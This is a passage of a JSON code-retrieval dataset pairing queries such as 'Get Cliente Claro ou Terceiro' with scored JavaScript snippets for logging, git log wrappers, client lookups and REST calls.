Date(),\n\t\t\tmessage: JSON.stringify(arguments)\n\t\t});\n\t}", "title": "" }, { "docid": "b0affc1c8a7a6752cc575a7525e879a2", "score": "0.5111563", "text": "logSetupLogo () {\n this.logHeader('F R O N T E N D S E T U P')\n logger.plain(t('SETUP_PROCESS_INTRO'))\n logger.plain(`${t('PLEASE_ANSWER_QUESTIONS')}:\\n`)\n }", "title": "" }, { "docid": "d9b9ec4b52c4d7be0abe87f126a818e3", "score": "0.5107137", "text": "function debugCommandOutput(flag) {\n if (flag) {\n const co = commands.commands;\n console.log(Object.keys(co).map(c => {\n return `${c}: ${co[c].m}`;\n }));\n }\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "6ba5f09a29891903f07c2d8e43cea2ac", "score": "0.50974566", "text": "function log() {\n return process.stderr.write(util.format.apply(util, arguments) + '\\n');\n}", "title": "" }, { "docid": "89b48232e2865818e62af189c961b287", "score": "0.5097424", "text": "function failedLogMonGo () {\n ///var/log/mongodb\n console.log('-----------> faile mongo logs<----------------'.red);\n config.ssh.exec('cat /var/log/mongodb/mongod.log | grep \"Failed\"', {\n out: console.log.bind(console)\n }).start();\n\n}", "title": "" }, { "docid": "0e44a19a41c92fcf7b531d8b104a3ce7", "score": "0.5096167", "text": "async function writeLog() {\n await log.write(entry);\n console.log(`Logged: ${text}`);\n }", "title": "" }, { "docid": "b4e17faf6cb674e5adf8c293d29ac48c", "score": "0.5082386", "text": "log(count, range, format, path) {\n if (typeof count == 'undefined') {\n count = 10;\n }\n\n let command = 'git log';\n\n if (count > 0) {\n command += ` -n ${count} `;\n }\n if (format) {\n command += ` --format=${format} `;\n }\n if (range){\n command += ` ${range} `;\n }\n if (path) {\n command += ` -- ${path}`;\n }\n\n return new Promise((resolve, reject) => {\n exec(command, (err, result, stderr) => {\n if (err) {\n reject(err);\n } else {\n resolve(result);\n }\n });\n });\n }", "title": "" }, { "docid": "766ca26f9f641caae6dab512901bd8d8", "score": "0.5079983", "text": "function generateLogs() {\n logger.info(\"information level log\");\n logger.warn(\"Warning level log\");\n logger.error({\n status: 401,\n message: \"Error level log\",\n description: \"Description of error \",\n });\n logger.fatal({\n status: 500,\n message: \"Fatal level log\",\n description: \"Description of Fatal error \",\n });\n}", "title": "" }, { "docid": "e58fad2fae34fcf5b4b6da3030ea508f", "score": "0.5073634", "text": "logLogo () {\n this.logHeader('D E V E L O P M E N T S E R V E R')\n this.logSilentMode()\n }", "title": "" }, { "docid": "3fdf2b1a83f2d70e5c857da408805bb7", "score": "0.5073351", "text": "async buildInfo(options) {\n return this.command({ buildinfo: 1 }, options);\n }", "title": "" }, { "docid": "c01f796fc76ae4de8428f13ba9f952f5", "score": "0.50673026", "text": "consoleLog()\r\n {\r\n //stuff that makes the console look nice (might xport this to a log file later)\r\n console.log(`\\n\\n=-----------------------------------------------------------=`);\r\n console.log(`\\n DuoBot!`);\r\n console.log(`\\n\\n=-----------------------------------------------------------=`);\r\n console.log(`\\nInformation will appear here when bot actions are triggered.`);\r\n console.log(`Bot loaded successfully`);\r\n console.log(`Logged in as ${client.user.tag}!`);\r\n }", "title": "" }, { "docid": "75e0efbcf134a9d128efee5dba010d9e", "score": "0.50665677", "text": "function log() {\n return stream.write(util$3.format.apply(util$3, arguments) + '\\n');\n}", "title": "" }, { "docid": "67c49a40343ae58958309ee551afee72", "score": "0.505798", "text": "function writeLog() {\n logger.error('Error Line');\n logger.info('Info Line');\n logger.debug('Debug line');\n}", "title": "" } ]
af6b1ecc5622a993f33a9d3d2fb20ca6
Get Cliente Claro ou Terceiro
[ { "docid": "8c5da4ac9d1cf7d89787222b3069d1a5", "score": "0.0", "text": "@wire(getPicklistValues, {\n recordTypeId : '$PaymentAdjustmentMetadata.data.defaultRecordTypeId',\n fieldApiName : REFUNDACCOUNT_FIELD\n })\n wiredPickListValue3({ data, error }){\n if(data){\n console.log('Picklist values are ', data.values);\n this.claroOuTerceiro = data.values;\n this.error = undefined;\n let arrayToFilter = this.claroOuTerceiro;\n let filteredArray = arrayToFilter.filter( element => element.value != 'Cliente NET');\n this.claroOuTerceiro = filteredArray;\n }\n if(error){\n console.log(' Error while fetching Picklist values ${error}');\n this.error = error;\n this.claroOuTerceiro = undefined;\n }\n \n }", "title": "" } ]
[ { "docid": "25456005778f546f9874501d050ecec5", "score": "0.62796336", "text": "function ObtenerDatosCliente(){\n\ttipodoc = $(\"#tipo_documento\").find('option:selected').text();\n\t// console.log(tipodoc);\n\tif(tipodoc == \"DNI\"){\n\t\tObtenerDatosDni();\n\t}else if(tipodoc == \"RUC\"){\n\t\tObtenerDatosRuc2();\n\t}\n}", "title": "" }, { "docid": "44410ee36afe871abe785f91448166c4", "score": "0.6202619", "text": "obtenerClientes() {\n axios.get(this.uri).then((result) => {\n this.clientes = result.data\n }).catch((err) => {\n console.log(err)\n });\n }", "title": "" }, { "docid": "f978988a4cef133de8e85bf637380364", "score": "0.6192089", "text": "function getClient(req,res){\r\n var clientId = req.params.id;\r\n Client.findById(clientId,(err,client)=>{\r\n if(err){\r\n res.status(500).send({message:'Error en la petición'});\r\n }else{\r\n if(!client){\r\n res.status(404).send({message:'EL CLIENTE NO EXISTE'});\r\n }else{\r\n res.status(200).send({client});\r\n }\r\n }\r\n\r\n });\r\n }", "title": "" }, { "docid": "8087e27bc7fb8c62634a9ed5f97c58ca", "score": "0.61077493", "text": "get clientInfo() {\n return null;\n }", "title": "" }, { "docid": "7a8478c4c7c95ec820fe57f7bfa97912", "score": "0.6031879", "text": "getCliente(id) {\n return this.lista.find(cliente => {\n return cliente.idSocket === id;\n });\n }", "title": "" }, { "docid": "8481fb72142b350b08b0ac81d3a5c3e0", "score": "0.5944094", "text": "function getClienti(){\n let clienti$ = fetch(serverUrl+serverUser).then(response => response.json())\n return clienti$ //sto tornando la promise della lista utenti\n \n }", "title": "" }, { "docid": "0d048a19c7b0cced76e7bf1d7c5759d3", "score": "0.58873886", "text": "getUltContribuinte() {\n //console.log(id);\n return this.http.get(`${URL}/contribuintes/ultcontrib`);\n }", "title": "" }, { "docid": "0f5d9410616a01fb1f028f24defaf97f", "score": "0.5832847", "text": "function consultarClientes(){\n $.ajax({\n url :\"https://gd2d1fb23ab6545-db202109302209.adb.sa-santiago-1.oraclecloudapps.com/ords/admin/client/client\",\n type :\"GET\",\n datatype:\"JSON\",\n success:function(respuestaClient){\n console.log(respuestaClient);\n listarClientes(respuestaClient.items);\n }\n });\n}", "title": "" }, { "docid": "9acd353ca27ec985a7629866f35005ab", "score": "0.58242965", "text": "static getAcompanhamentos() {\n return api_interna.get(`acompanhamentos`);\n }", "title": "" }, { "docid": "fb6ac54ad8de441103aac95ee5c87021", "score": "0.5814932", "text": "function accionSeleccionarCliente() {\n\n //Abrimos un popup modal con la direccion de la LPBusquedaRapidaCliente, \n //cuando se cierra el popup si el usuario ha seleleccionado un cliente \n //se nos devuelven dos valores en un array. \n //Con el segundo valor rellenamos el campo codigoCliente\n\n //Llamamos al proceso correspondiente Modal\n var objParams = new Object();\n var cliente = mostrarModalSICC('LPBusquedaRapidaCliente', '', objParams, null, null); \n\tif (typeof(cliente)!='undefined'){\n\t\tvar codigoCliente = cliente[1];\n \tset(FORMULARIO+'.txtCodCliente',codigoCliente);\n }\n}", "title": "" }, { "docid": "ec0636f3e67c1d3bc1c0494975abfd72", "score": "0.5801395", "text": "limpiarDatosCliente()\n {\n this.razon_social = '';\n this.nombre = '';\n this.apellido = '';\n this.telefono = '';\n this.correo_electronico = '';\n }", "title": "" }, { "docid": "60be99f5d65f5e998cf9aeae4599b479", "score": "0.57614756", "text": "static getAcompanhamentoCirurgia(idCirurgia) {\n return api_interna.get(\n `acompanhamentos?cirurgiaLimpaId=${parseInt(idCirurgia)}`\n );\n }", "title": "" }, { "docid": "e6c011e81de2122c376501a7b300a63c", "score": "0.57310694", "text": "getClient(entity) {\n switch (entity?.toUpperCase()) {\n case \"USER\":\n return this.users();\n case \"PROJECT\":\n return this.projects();\n case \"STUDY\":\n return this.studies();\n case \"JOB\":\n return this.jobs();\n case \"FILE\":\n return this.files();\n case \"SAMPLE\":\n return this.samples();\n case \"INDIVIDUAL\":\n return this.individuals();\n case \"FAMILY\":\n return this.families();\n case \"COHORT\":\n return this.cohorts();\n case \"PANEL\":\n case \"DISEASE_PANEL\":\n return this.panels();\n case \"ALIGNMENT\":\n return this.alignments();\n case \"VARIANT\":\n return this.variants();\n case \"VARIANT_OPERATIONS\":\n return this.variantOperations();\n case \"CLINICAL\":\n case \"CLINICAL_ANALYSIS\":\n return this.clinical();\n case \"META\":\n return this.meta();\n default:\n throw new Error(\"Resource not recognized\");\n }\n }", "title": "" }, { "docid": "24826f3210734acb3467cc0a5d948902", "score": "0.5709151", "text": "function Cliente(nombre, email, empresa) {\n let info = {\n nombre,\n email,\n empresa\n }\n // La forma de describir la función y agregarlas a mis objetos\n // Object.assign toma una función y la copia hacia dentro del objeto info\n return Object.assign(\n info,\n obtenerNombre(info),//info para tener la referencia de los datos de la memoria de ese objeto\n guardarEmail(info),// asignando la función con object.assign\n // pero no utilizaremos el valor guardarEmail sino que la función que esta dentro, es decir, agregarEmail\n obtenerEmail(info),\n obtenerEmpresa(info)\n )\n}", "title": "" }, { "docid": "2b12d21ad60f0072fce2128c40d0fc88", "score": "0.56992704", "text": "function getClient(pClientId) {\n const REQUEST = `api/clients/${pClientId}`\n const headers = { Authorization : `Bearer ${store.state.token.token}`}\n return axios.get(`${API_URL}/${REQUEST}`, { headers })\n}", "title": "" }, { "docid": "f0fdb697bb00dc8d89d8ed655f83db7a", "score": "0.5677858", "text": "getClients() {\n return new Promise((resolve, reject) => {\n\n Person.findAll({\n where: {\n kind: 1\n }\n }).then(resultset => {\n\n // Resultado en formato JSON\n let result = JSON.parse(JSON.stringify(resultset));\n\n // Si no se encuentra el objeto solicitado\n if (Object.keys(result).length === 0) {\n resolve(null);\n }\n resolve(result);\n\n }).catch(err => {\n reject('Query error:' + err.stack);\n });\n\n });\n }", "title": "" }, { "docid": "4136da9953c6546a79603273f60cd4ac", "score": "0.5673107", "text": "static getAcompanhamento(id) {\n return api_interna.get(`acompanhamentos/${id}`);\n }", "title": "" }, { "docid": "e43ea990f98b804448e1653d756d52fd", "score": "0.5663622", "text": "function getClient(user_id) {\n\n for (var i = 0; i < clients.length; i++) {\n if (clients[i].id == user_id) {\n return clients[i];\n }\n }\n return null;\n}", "title": "" }, { "docid": "c672defa2afb9243fe0da4d4123cfdca", "score": "0.5656822", "text": "get clientId() {\n return null;\n }", "title": "" }, { "docid": "91baed66ee2a6c59849ec90a84046025", "score": "0.56530154", "text": "function Client(nom, prenom, pseudo, numeroClient) {\n Personne.call(this, nom, prenom, pseudo);\n this.numeroClient=numeroClient;\n this.getInfos = function() {\n return this.nom + \" | \" + this.prenom + \" | \" + this.numeroClient;\n }\n}", "title": "" }, { "docid": "6fc6e27674c22f6f90eb8bea6a7cc0fa", "score": "0.5637997", "text": "get clientInfo() {\n return this.clientInfo_;\n }", "title": "" }, { "docid": "b7a11cdb88eda9c3025ef08cf3533b2f", "score": "0.5627996", "text": "async getdispensa({response, auth}){\n const usuario = await auth.getUser()\n const data = usuario.id\n const dispensador = await Dispensa.query().where('usuario', data).fetch()\n return response.ok({\n status: true,\n data: dispensador\n })\n }", "title": "" }, { "docid": "3520f6f513f620b83a8f4fbef0863660", "score": "0.56133705", "text": "getTesWawancara(idTesWawancara){\n return axios.get(URI + \"/tes/wawancara/get/\" + idTesWawancara), { headers:authHeader() };\n }", "title": "" }, { "docid": "eb70e81872ac0212fd99f6ec766fa06b", "score": "0.5609005", "text": "function mostrarDadosCliente() {\n const conection = criarConexao();\n conection.query('SELECT * from cliente', (err, rows) => {\n if (err) throw err\n console.log('Os dados da tabela são esses!')\n console.log(rows)\n })\n feixarConexao(conection);\n}", "title": "" }, { "docid": "8c5573e034afbb36b6b22a73b7b2c053", "score": "0.55865514", "text": "getLista() {\n // retorno la lista de clientes conectados excepto los que no tienen nombre \n return this.lista.filter(cliente => cliente.nombre !== 'sin-nombre'); // la lista es privada , la accedo desde un metodo publico \n }", "title": "" }, { "docid": "b41789a68abaf51f28fcf21c9f0fe364", "score": "0.556813", "text": "function buscadatosCliente(codigoCliente) {\n\tvar datoscliente = new Array();\n\tfor(var j = 0; j < listaclientes.length; j++) {\n\t\tvar tmpcliente = listaclientes[j].split(\"|\");\n\t\tif(tmpcliente[0] == codigoCliente) {\n\t\t\tif(tmpcliente[14] == \"00\" || tmpcliente[14] == \"01\") {\n\t\t\t\tcondicion = \"CONTADO\";\n\n\t\t\t} else {\n\t\t\t\tcondicion = \"CREDITO\";\n\n\t\t\t}\n\t\t\t datoscliente = [tmpcliente[0], tmpcliente[1], condicion, tmpcliente[3], tmpcliente[13]];\n\n\n\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn datoscliente;\n}", "title": "" }, { "docid": "b64b39ae02c4e5fa3fb5d12f72eef49a", "score": "0.5567288", "text": "function getCursoClave(req, res){\n\tconsole.log(\"Entro\");//para ver si entra al código\n\tconsole.log(req.params.clave);//para ver la peticion\n\tcursoModel.findByClave(req.params.clave).then((curso) => {\n\t\t res.status(200).json(curso);\n\t}).catch(err => {\n\t\t res.status(500).json({error: \"No encontrado\"});\n\t});\n}", "title": "" }, { "docid": "635a4ffb2a505b8c430403cabd36e4d0", "score": "0.5559352", "text": "get clientID() {\n return this._s.clientID;\n }", "title": "" }, { "docid": "82398feea8cc6d89673ef755ff571e71", "score": "0.5553826", "text": "function BuscaStatusDescontoContrato() {\n var StatusDescontoContrato = 1;\n if (Xrm.Page.getAttribute(\"new_contratoid\").getValue() !== null) {\n var entityRetrive = getEntityNodes(\"contract\", \"contractid\", Xrm.Page.getAttribute(\"new_contratoid\").getValue()[0].id);\n if (entityRetrive.length != 0) {\n var entityNodeRetrive = entityRetrive[0];\n StatusDescontoContrato = entityNodeRetrive.selectSingleNode(\"q1:new_desconto\");\n if (StatusDescontoContrato != null) { StatusDescontoContrato = StatusDescontoContrato.text; } else { StatusDescontoContrato = 0; }\n }\n }\n return StatusDescontoContrato;\n}", "title": "" }, { "docid": "65030f6f5104a644d7beba820115cd29", "score": "0.5540756", "text": "function getCirugia(request, response){\n\ttry{\n\t\tvar connection = mysql.createConnection({\n\t\t\thost: global.config.ds_ceola2017.server,\n\t\t\tuser: global.config.ds_ceola2017.user,\n\t\t\tpassword: global.config.ds_ceola2017.password,\n\t\t\tdatabase: global.config.ds_ceola2017.database\n\t\t});\n\n\t\tvar id = JSON.parse(request.body.arg).id;\n\n\t\tconnection.query('CALL sp_obtener_cirugia(?)'. [id], function (error, results, fields) {\n\t\t\tif(error){\n\t\t\t\tresponse.status(200).json(reply.fatal(error.message));\n\t\t\t} else {\n\t\t\t\tif(results.length != 0){\n\t\t\t\t\tresponse.status(200).json(reply.ok(results));\n\t\t\t\t} else {\n\t\t\t\t\tresponse.status(200).json(reply.ok(null));\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\tconnection.end();\n\t} catch(e){\n\t\tresponse.status(200).json(reply.fatal(e.message));\n\t}\n}", "title": "" }, { "docid": "5619f0ac9a2742a14fce12a222e73210", "score": "0.5539031", "text": "get client() {\n return this[db];\n }", "title": "" }, { "docid": "e0d2055f81e500419eeae448d69cd229", "score": "0.5528794", "text": "function traerInformacion(){\n $.ajax({\n url:\"https://g42463fc9ec0dbe-db202109261450.adb.sa-saopaulo-1.oraclecloudapps.com/ords/admin/client/client\",\n type:\"GET\",\n datatype:\"JSON\",\n success:function(respuesta){\n console.log(respuesta);\n pintarRespuesta(respuesta.items);\n }\n });\n}", "title": "" }, { "docid": "13099b130ac5c9ed2d15b812c8ec6be3", "score": "0.5523034", "text": "get client() {\n return this._client || null\n }", "title": "" }, { "docid": "7b87f7096a70ff57b811dcdd7307d0d7", "score": "0.55227375", "text": "async getEstudiante(carnet, complemento){\n if (complemento != '') {\n return await axios.get(`${general.getServe()}informe/estudiante?carnet=${carnet}&complemento=${complemento}`);\n }\n return await axios.get(`${general.getServe()}informe/estudiante?carnet=${carnet}`);\n }", "title": "" }, { "docid": "4b6afad1ada5f42be6890638c9ba5b12", "score": "0.55001163", "text": "async showCnh(req, res) {\n await sequelize.query('SELECT * FROM clientes WHERE cnh = ?', {\n replacements: [req.params.id],\n type: sequelize.QueryTypes.SELECT\n }).then(userXpost => {\n return res.json(userXpost);\n })\n }", "title": "" }, { "docid": "458e3b6f11e3fb6a6d5a358239a66310", "score": "0.5492936", "text": "async function listarClientes() {\n try {\n const valor_token = localStorage.getItem(\"token\");\n let response = await fetch(`${URL}/listaCliente`, {\n headers: {\n \"content-type\": \"application/json\",\n Accept: \"application/json\",\n Authorization: `Bearer ${valor_token.replace(/['\"]+/g, \"\")}`,\n },\n });\n response = await response.json();\n setClientes(response.data);\n //console.log(response.data);\n } catch (error) {\n console.log(error);\n }\n }", "title": "" }, { "docid": "e6c115bb5853f4ea87b49641f6f69ff8", "score": "0.54818493", "text": "function Cliente(nombre, saldo, edad){\n\tthis.nombre = nombre\n\tthis.saldo = saldo\n\tthis.edad = edad\n\tthis.tipoCliente = function(){\n\t\tlet tipo\n\t\tif (this.saldo > 1000) {\n\t\t\ttipo = 'Gold'\n\t\t}else{\n\t\t\ttipo = 'Normal'\n\t\t}\n\t\treturn tipo\n\t}\n}", "title": "" }, { "docid": "8fa3273ae68224df9feb3d300fbb336d", "score": "0.54768455", "text": "get telecom () {\r\n\t\treturn this._telecom;\r\n\t}", "title": "" }, { "docid": "221f1419bface1dd428b2772470716e4", "score": "0.5466274", "text": "function traerInformacionClientes(){\n $.ajax({\n url:\"http://152.70.216.16:8080/api/Client/all\", //colocar la http del modulo de la tabla CLIENT\n type:\"GET\",\n datatype:\"JSON\",\n success:function(respuestaC){\n console.log(respuestaC);\n pintarRespuestaClient(respuestaC);\n }\n });\n}", "title": "" }, { "docid": "523777e577afedfa2ae91d976fdcf5b4", "score": "0.5461812", "text": "function getClients() {\n // currentUser = UserFactory.getUser();\n currentUser.getToken().then(function(idToken) {\n $http({\n method: 'GET',\n url: '/clients',\n headers: {\n id_token: idToken\n }\n }).then(function(response){\n self.clients = response.data\n });\n });\n }", "title": "" }, { "docid": "379118a939103adfa7fbc69325eb8338", "score": "0.5433192", "text": "function obtenerComentarios() {\r\n console.log(obtenerComentarios);\r\n fetch(\"api/comentarios\")\r\n .then(response => response.json())\r\n .then(comentarios => {\r\n console.log(comentarios);\r\n app.comentarios = comentarios; // similar a $this->smarty->assign(\"tasks\", $tasks)\r\n })\r\n .catch(error => console.log(error));\r\n }", "title": "" }, { "docid": "557914120faec54ccfeddabdf818150d", "score": "0.54306823", "text": "getClientesEnsala(sala) {\n return this.lista.filter(cliente => {\n return cliente.sala === sala;\n });\n }", "title": "" }, { "docid": "d3031055b384e132e27bc88e67233d3f", "score": "0.5428488", "text": "getCustomers() {\n return this.http.get(`${this.apiURL}alumno/`, httpOptions);\n }", "title": "" }, { "docid": "3672b7770e68f84fd6ad769ec747d802", "score": "0.5426145", "text": "function obtenerCursos() {\n var uri = __env.apiUrl + 'cursos';\n return $http({\n url: uri,\n method: \"GET\",\n headers: { \"Content-Type\": \"application/json\" }\n }).then(function (response) {\n return response;\n });\n }", "title": "" }, { "docid": "9732d7f324e3e23c2cd2e9332bcf19bc", "score": "0.54162335", "text": "function getConsById(){\n \t// je récupère un client en fonction de son ID\n\t\tif ($routeParams.consId != null){\n \tUserService.getConsById($routeParams.consId)\n \t.then(\n \t\t\tfunction(d){\n \t\t\t\t$scope.cons = d;\n \t\t\t},\n \t\t\tfunction (errResponse){\n \t\t\t\tconsole.error('Error while getting a cons from an ID')\n \t\t\t});\n\t\t}\n }", "title": "" }, { "docid": "6c70bd7d0d95d2a28bda8d8438140dce", "score": "0.5406624", "text": "static async getCompany(handle) {\n let res = await this.request(`companies/${handle}`);\n return res.company;\n }", "title": "" }, { "docid": "6c70bd7d0d95d2a28bda8d8438140dce", "score": "0.5406624", "text": "static async getCompany(handle) {\n let res = await this.request(`companies/${handle}`);\n return res.company;\n }", "title": "" }, { "docid": "a83ce32f92fcd1aaa1dc9f0c7ee67602", "score": "0.53980255", "text": "static async getCompany(handle) {\n\t\tlet res = await this.request(`companies/${handle}`);\n\t\treturn res.company;\n\t}", "title": "" }, { "docid": "865564090993765407e20d52760dc011", "score": "0.5396849", "text": "function getClientesAjax() {\n\n\t\t$.ajax({\n\n\t\t\tmethod : 'GET',\n\t\t\turl : '/ajax/clientes/buscar',\n\t\t\tdata : {\n\t\t\t\tnome : ''\n\t\t\t}\n\n\t\t}).done(function(msg) {\n\n\t\t\t// limpa o array de clientes atual\n\t\t\tclientesArray = [];\n\n\t\t\tvar tmpData = {};\n\n\t\t\t$.each(msg, function(i, item) {\n\t\t\t\ttmpData[item.id + ' - ' + item.nome] = null;\n\n\t\t\t\tclientesArray[item.id] = {\n\t\t\t\t\t'nome' : item.nome,\n\t\t\t\t\t'cpf' : item.cpf,\n\t\t\t\t\t'cnpj' : item.cnpj,\n\t\t\t\t\t'celular' : item.telefone1\n\t\t\t\t};\n\t\t\t});\n\n\t\t\tinitAutocomplete(tmpData);\n\n\t\t}).fail(function(xhr, status) {\n\t\t\tconsole.log(status);\n\t\t});\n\n\t}", "title": "" }, { "docid": "e8916d314ceba5ea08f6294b244ee28d", "score": "0.53956914", "text": "function crack(mascota){\n return mascota.nombre;\n}", "title": "" }, { "docid": "568aa8c460a7e4583ba381a57ab6789a", "score": "0.53839713", "text": "function getChores(){\n\t\t\tvar successCallback = function(chore){\n\t\t\t\taddData(chore.data);\n\t\t\t};\n\n\t\t\tvar errorCallback = function(error){\n\t\t\t\tconsole.log('error: ' + error);\n\t\t\t};\n\t\t\t\n\t\t\tvar end = vmChore.paginator + 10;\n\t\t\tvar start;\n\t\t\tif(vmChore.paginator>0){\n\t\t\t\tstart =end - 5;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tstart=0;\n\t\t\t}\n\t\t\t\n\t\t\tvar url = applicationConfig.chores +'?resposable='+$localStorage.userSesion.id+ '&state=undone&_start=' + start + '&_end=' + end;\n\n\t\t\thttpService.get(url, {}, successCallback, errorCallback);\n\t\t}", "title": "" }, { "docid": "9cdcd0e5612b28f1f626bbcd120b77e6", "score": "0.53836286", "text": "get telecom() {\n\t\treturn this.__telecom;\n\t}", "title": "" }, { "docid": "7fd81b1015e5fdc7e9b6ecee8a10a25e", "score": "0.5383535", "text": "function afficherCaisse(reponse) {\n //Informations du client\n let modeleCaisse = new ModeleMagasin(\"modele-caisse\");\n modeleCaisse.appliquerModele(reponse, \"milieu-page\");\n\n //Facture\n let requete = new RequeteAjax(\"controleur/controleur.php\");\n let modeleFacture = new ModeleMagasin(\"modele-facture\");\n let objJSON = {\n \"type\": \"panier\",\n \"requete\": \"sommaire\"\n };\n requete.getJSON(objJSON, donnees => {\n modeleFacture.appliquerModele(donnees, \"facture\");\n listerFacture();\n afficherPaypal();\n });\n}", "title": "" }, { "docid": "a86a7e264613f92467d47e4abcc8fbf9", "score": "0.5377705", "text": "get SelectedClient(){\n return this.env.pos.attributes.selectedClient.id\n }", "title": "" }, { "docid": "d45a64fe9d288e950f81c62c01423d36", "score": "0.53769135", "text": "function getColonnaCorrispettivi(accountId) {\n if (!Banana.document || accountId.length<=0)\n return '';\n var savedParam = Banana.document.getScriptSettings(\"ch.banana.script.italy_vat.daticontribuente.js\");\n if (savedParam.length <= 0) \n return '';\n var param = JSON.parse(savedParam);\n\n if (param.contoFattureNormali && accountId == param.contoFattureNormali)\n return \"IT_CorrFattureNormali\";\n if (param.contoFattureFiscali && accountId == param.contoFattureFiscali)\n return \"IT_CorrFattureFiscali\";\n if (param.contoFattureScontrini && accountId == param.contoFattureScontrini)\n return \"IT_CorrFattureScontrini\";\n if (param.contoFattureDifferite && accountId == param.contoFattureDifferite)\n return \"IT_CorrFattureDifferite\";\n if (param.contoCorrispettiviNormali && accountId == param.contoCorrispettiviNormali)\n return \"IT_CorrispettiviNormali\";\n if (param.contoCorrispettiviScontrini && accountId == param.contoCorrispettiviScontrini)\n return \"IT_CorrispettiviScontrini\";\n if (param.contoRicevuteFiscali && accountId == param.contoRicevuteFiscali)\n return \"IT_CorrRicevuteFiscali\";\n\n return '';\n}", "title": "" }, { "docid": "de924d006ef4edf889758a1ea7a618ee", "score": "0.5376471", "text": "getReceitas(){\n return axios.get(RECEITAS_API_BASE_URL + '/todas');\n }", "title": "" }, { "docid": "ec3607ca73fe42d9168d41276a9b69c2", "score": "0.5373481", "text": "function obtenerEmpresaPorId(idEmpresa){\n cpanelService.getDatosEmpresaById({}, {},idEmpresa,serverConf.CPANEL_WS, function (response) {\n console.info(\"emisionFacturaContrato: Datos de empresa\",response.data);\n $scope.datosEmpresa=response.data;\n });\n }", "title": "" }, { "docid": "dbc9f4bc72dac1f5178e3f59b766f76d", "score": "0.5360425", "text": "async get (req, res){\n const clientes = await Cliente.findAll()\n\n return res.json(clientes)\n }", "title": "" }, { "docid": "e7535e186382c5791f18572a5ae9a081", "score": "0.535986", "text": "function consultarClienteMessage(){\n $.ajax({\n url:\"http://129.151.116.109:7070/api/Client/all\",\n type:\"GET\",\n datatype:\"JSON\",\n success:function(respuesta){\n comboBoxCliente(respuesta);\n\n }\n });\n}", "title": "" }, { "docid": "46b739d7858b4842807639623cfcb7e7", "score": "0.5357737", "text": "function getClient() {\n return Connection.client;\n}", "title": "" }, { "docid": "b19a29eead540f2804931f636d26f960", "score": "0.53574604", "text": "static get infoTienda() 